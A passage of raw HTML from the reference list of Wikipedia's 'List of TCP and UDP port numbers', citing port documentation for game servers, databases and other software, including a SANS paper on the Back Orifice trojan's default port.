title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=Ietf+Datatracker&amp;rft.atitle=IETF+Mesh+Link+Establishment&amp;rft.date=2015-12-01&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Fdraft-ietf-6lo-mesh-link-establishment&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-4D_ports-373\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-4D_ports_373-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-4D_ports_373-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-4D_ports_373-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://doc.4d.com/4Dv13/4D/13/Configuration-preferences.300-845386.en.html\">\"<i>4D Server and port numbers</i>\"</a>. 4d.com. 2013-12-03. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20140408220514/http://www.4d.com/4d_docv13/4D/13/Configuration-preferences.300-845386.en.html#68475\">Archived</a> from the original on 2014-04-08<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=4D+Server+and+port+numbers&amp;rft.pub=4d.com&amp;rft.date=2013-12-03&amp;rft_id=http%3A%2F%2Fdoc.4d.com%2F4Dv13%2F4D%2F13%2FConfiguration-preferences.300-845386.en.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-374\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-374\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation news cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://minecraft.gamepedia.com/Setting_up_a_server\">\"Tutorials/Setting up a server – Minecraft Wiki\"</a>. <i>Minecraft Wiki</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2015-12-20</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=Minecraft+Wiki&amp;rft.atitle=Tutorials%2FSetting+up+a+server+%E2%80%93+Minecraft+Wiki&amp;rft_id=http%3A%2F%2Fminecraft.gamepedia.com%2FSetting_up_a_server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-Protocol_-_wiki.vg-375\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-Protocol_-_wiki.vg_375-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-Protocol_-_wiki.vg_375-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.vg/Protocol#Handshaking\">\"Protocol - wiki.vg\"</a>. <i>wiki.vg</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-11-07</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=wiki.vg&amp;rft.atitle=Protocol+-+wiki.vg&amp;rft_id=http%3A%2F%2Fwiki.vg%2FProtocol%23Handshaking&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-376\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-376\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.vg/Query#Server_Config\">\"Query - wiki.vg\"</a>. <i>wiki.vg</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=wiki.vg&amp;rft.atitle=Query+-+wiki.vg&amp;rft_id=http%3A%2F%2Fwiki.vg%2FQuery%23Server_Config&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-377\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-377\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.vg/RCON#Server_Config\">\"RCON - wiki.vg\"</a>. <i>wiki.vg</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=wiki.vg&amp;rft.atitle=RCON+-+wiki.vg&amp;rft_id=http%3A%2F%2Fwiki.vg%2FRCON%23Server_Config&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-378\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-378\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://help.solidworks.com/2022/english/installation/install_guide/t_mod_ports_on_lic_mgr_for_firewall.htm\">\"Modifying License Manager Computer Ports for Windows Firewall - 2022 - SOLIDWORKS Installation Help\"</a>. <i>help.solidworks.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-08-01</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=help.solidworks.com&amp;rft.atitle=Modifying+License+Manager+Computer+Ports+for+Windows+Firewall+-+2022+-+SOLIDWORKS+Installation+Help&amp;rft_id=https%3A%2F%2Fhelp.solidworks.com%2F2022%2Fenglish%2Finstallation%2Finstall_guide%2Ft_mod_ports_on_lic_mgr_for_firewall.htm&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-379\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-379\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://collectd.org/wiki/index.php/Networking_introduction\">\"Networking introduction - collectd Wiki\"</a>. Collectd.org. 2012-01-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Networking+introduction+-+collectd+Wiki&amp;rft.pub=Collectd.org&amp;rft.date=2012-01-25&amp;rft_id=http%3A%2F%2Fcollectd.org%2Fwiki%2Findex.php%2FNetworking_introduction&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-steam-support-8571-GLVN-8711-380\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-steam-support-8571-GLVN-8711_380-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-steam-support-8571-GLVN-8711_380-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-steam-support-8571-GLVN-8711_380-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-steam-support-8571-GLVN-8711_380-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-steam-support-8571-GLVN-8711_380-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-steam-support-8571-GLVN-8711_380-5\"><sup><i><b>f</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.steampowered.com/kb_article.php?ref=8571-GLVN-8711\">\"Required Ports for Steam\"</a>. Support. <i>Steam</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20180519124635/https://support.steampowered.com/kb_article.php?ref=8571-GLVN-8711\">Archived</a> from the original on 2018-05-19<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-05-19</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Steam&amp;rft.atitle=Required+Ports+for+Steam&amp;rft_id=https%3A%2F%2Fsupport.steampowered.com%2Fkb_article.php%3Fref%3D8571-GLVN-8711&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-mongodb-docs-reference-default-mongodb-port-381\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-mongodb-docs-reference-default-mongodb-port_381-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKleinmanCostelloGrabarHarris\" class=\"citation book cs1\">Kleinman, Sam;  et&#160;al. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.mongodb.com/manual/reference/default-mongodb-port/\">\"Default MongoDB Port\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.mongodb.com/manual/\"><i>MongoDB 3.4 Manual</i></a>. Reference. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20171110140354/https://docs.mongodb.com/manual/reference/default-mongodb-port/\">Archived</a> from the original on 2017-11-10<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-11-10</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Default+MongoDB+Port&amp;rft.btitle=MongoDB+3.4+Manual&amp;rft.pages=Reference&amp;rft.aulast=Kleinman&amp;rft.aufirst=Sam&amp;rft.au=Costello%2C+Ed&amp;rft.au=Grabar%2C+Bob&amp;rft.au=Harris%2C+Michael+C.&amp;rft.au=Kim%2C+Kay&amp;rft.au=Aldridge%2C+Andrew&amp;rft_id=https%3A%2F%2Fdocs.mongodb.com%2Fmanual%2Freference%2Fdefault-mongodb-port%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-382\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-382\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation encyclopaedia cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://developer.valvesoftware.com/wiki/Rust_Dedicated_Server\">\"Rust Dedicated Server\"</a>. <i>Valve Developer Community</i> (Revision 209464&#160;ed.). <a href=\"/wiki/Valve_Corporation\" title=\"Valve Corporation\">Valve</a>. 2017-06-22. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170629162231/https://developer.valvesoftware.com/wiki/Rust_Dedicated_Server\">Archived</a> from the original on 2017-06-29<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Rust+Dedicated+Server&amp;rft.btitle=Valve+Developer+Community&amp;rft.edition=Revision+209464&amp;rft.pub=Valve&amp;rft.date=2017-06-22&amp;rft_id=https%3A%2F%2Fdeveloper.valvesoftware.com%2Fwiki%2FRust_Dedicated_Server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-383\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-383\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation encyclopaedia cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://developer.valvesoftware.com/wiki/Rust_Dedicated_Server#RCON\">\"Rust Dedicated Server RCON\"</a>. <i>Valve Developer Community</i>. <a href=\"/wiki/Valve_Corporation\" title=\"Valve Corporation\">Valve</a>. 2017-06-22. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170629162231/https://developer.valvesoftware.com/wiki/Rust_Dedicated_Server#RCON\">Archived</a> from the original on 2017-06-29.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Rust+Dedicated+Server+RCON&amp;rft.btitle=Valve+Developer+Community&amp;rft.pub=Valve&amp;rft.date=2017-06-22&amp;rft_id=https%3A%2F%2Fdeveloper.valvesoftware.com%2Fwiki%2FRust_Dedicated_Server%23RCON&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-Cube2Sauerbraten-384\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Cube2Sauerbraten_384-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://sauerbraten.org/docs/config.html\">\"Configuration\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://sauerbraten.org/README.html#documentation\"><i>Cube 2: Sauerbraten – Documentation</i></a>. Sauerbraten. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170629155241/http://sauerbraten.org/docs/config.html\">Archived</a> from the original on 2017-06-29<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-29</span></span>. <q>...&#160;Servers use the ports 28785 (UDP) and 28786 (UDP).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Configuration&amp;rft.btitle=Cube+2%3A+Sauerbraten+%E2%80%93+Documentation&amp;rft.pub=Sauerbraten&amp;rft_id=http%3A%2F%2Fsauerbraten.org%2Fdocs%2Fconfig.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-nintendo-wfc-instruction-booklet-385\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-nintendo-wfc-instruction-booklet_385-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-nintendo-wfc-instruction-booklet_385-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-nintendo-wfc-instruction-booklet_385-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.nintendo.com/consumer/gameslist/manuals/DS_Nintendo_WFC.pdf\"><i>Nintendo® Wi-Fi Connection Instruction Booklet</i></a> <span class=\"cs1-format\">(PDF)</span>. <a href=\"/wiki/Nintendo\" title=\"Nintendo\">Nintendo</a>. n.d. p.&#160;24. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170629145629/https://www.nintendo.com/consumer/gameslist/manuals/DS_Nintendo_WFC.pdf\">Archived</a> <span class=\"cs1-format\">(PDF)</span> from the original on 2017-06-29. <q>...<div><ul><li>TCP: Allow traffic to all destinations on ports: 28910, 29900, 29901, 29920, 80, and 443.</li><li>UDP: Allow all traffic to all destinations. (Necessary for peer-to-peer connections and game play).</li></ul></div>...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Nintendo%C2%AE+Wi-Fi+Connection+Instruction+Booklet&amp;rft.pages=24&amp;rft.pub=Nintendo&amp;rft_id=https%3A%2F%2Fwww.nintendo.com%2Fconsumer%2Fgameslist%2Fmanuals%2FDS_Nintendo_WFC.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-activision-kb-cod-game-ports-386\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-activision-kb-cod-game-ports_386-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.activision.com/articles/en_US/FAQ/Ports-Used-for-Call-of-Duty-Games\">\"Ports Used for Call of Duty Games\"</a>. <i>Activision Support</i>. <a href=\"/wiki/Activision\" title=\"Activision\">Activision</a>. 2008–2016. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170630052235/https://support.activision.com/articles/en_US/FAQ/Ports-Used-for-Call-of-Duty-Games\">Archived</a> from the original on 2017-06-30<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-30</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Activision+Support&amp;rft.atitle=Ports+Used+for+Call+of+Duty+Games&amp;rft.date=2008%2F2016&amp;rft_id=https%3A%2F%2Fsupport.activision.com%2Farticles%2Fen_US%2FFAQ%2FPorts-Used-for-Call-of-Duty-Games&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-minetest-setting-up-a-server-387\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-minetest-setting-up-a-server_387-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://wiki.minetest.net/Setting_up_a_server\">\"Setting up a server - Mintest Wiki\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">December 29,</span> 2020</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Setting+up+a+server+-+Mintest+Wiki&amp;rft_id=https%3A%2F%2Fwiki.minetest.net%2FSetting_up_a_server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Foundry_VTT_Application_Configuration-388\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Foundry_VTT_Application_Configuration_388-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://foundryvtt.com/article/configuration/\">\"Foundry VTT Application Configuration\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">November 19,</span> 2021</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Foundry+VTT+Application+Configuration&amp;rft_id=https%3A%2F%2Ffoundryvtt.com%2Farticle%2Fconfiguration%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-389\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-389\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.fivem.net/docs/server-manual/setting-up-a-server/\">\"Tutorials/Setting up a server – Fivem page\"</a>. <i>docs.fivem.net/docs/server-manual/setting-up-a-server/</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-09-17</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=docs.fivem.net%2Fdocs%2Fserver-manual%2Fsetting-up-a-server%2F&amp;rft.atitle=Tutorials%2FSetting+up+a+server+%E2%80%93+Fivem+page&amp;rft_id=https%3A%2F%2Fdocs.fivem.net%2Fdocs%2Fserver-manual%2Fsetting-up-a-server%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2013)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-390\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-390\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKnudsen2002\" class=\"citation web cs1\">Knudsen, Kent (April 5, 2002). <a rel=\"nofollow\" class=\"external text\" href=\"https://pen-testing.sans.org/resources/papers/gcih/tracking-orifice-trojan-university-network-101743\">\"Tracking the Back Orifice Trojan On a University Network\"</a> <span class=\"cs1-format\">(PDF)</span>. <i>sans.org</i>. p.&#160;7<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">April 20,</span> 2018</span>. <q>The server normally binds to UDP port 31337, but it may be configured to use another port.</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=sans.org&amp;rft.atitle=Tracking+the+Back+Orifice+Trojan+On+a+University+Network&amp;rft.pages=7&amp;rft.date=2002-04-05&amp;rft.aulast=Knudsen&amp;rft.aufirst=Kent&amp;rft_id=https%3A%2F%2Fpen-testing.sans.org%2Fresources%2Fpapers%2Fgcih%2Ftracking-orifice-trojan-university-network-101743&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-391\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-391\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSyngress2003\" class=\"citation book cs1\">Syngress (2003). <a rel=\"nofollow\" class=\"external text\" href=\"https://books.google.com/books?id=nHPzTZ27a5UC&amp;pg=PA6\"><i>Configuring Symantec AntiVirus Enterprise Edition</i></a>. Elsevier. p.&#160;6. <a href=\"/wiki/ISBN_(identifier)\" class=\"mw-redirect\" title=\"ISBN (identifier)\">ISBN</a>&#160;<a href=\"/wiki/Special:BookSources/9780080476711\" title=\"Special:BookSources/9780080476711\"><bdi>9780080476711</bdi></a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">April 20,</span> 2018</span>. <q>BO2K runs over any User Datagram Protocol (UDP) port but will default to using port 31337.</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Configuring+Symantec+AntiVirus+Enterprise+Edition&amp;rft.pages=6&amp;rft.pub=Elsevier&amp;rft.date=2003&amp;rft.isbn=9780080476711&amp;rft.au=Syngress&amp;rft_id=https%3A%2F%2Fbooks.google.com%2Fbooks%3Fid%3DnHPzTZ27a5UC%26pg%3DPA6&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-392\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-392\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://man7.org/linux/man-pages/man1/ncat.1.html#CONNECT_MODE_AND_LISTEN_MODE\">\"ncat(1) — Linux manual page\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">November 30,</span> 2020</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=ncat%281%29+%E2%80%94+Linux+manual+page&amp;rft_id=https%3A%2F%2Fman7.org%2Flinux%2Fman-pages%2Fman1%2Fncat.1.html%23CONNECT_MODE_AND_LISTEN_MODE&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-man-1-boinc-die.net-393\"><span class=\"mw-cite-backlink\"><b><a 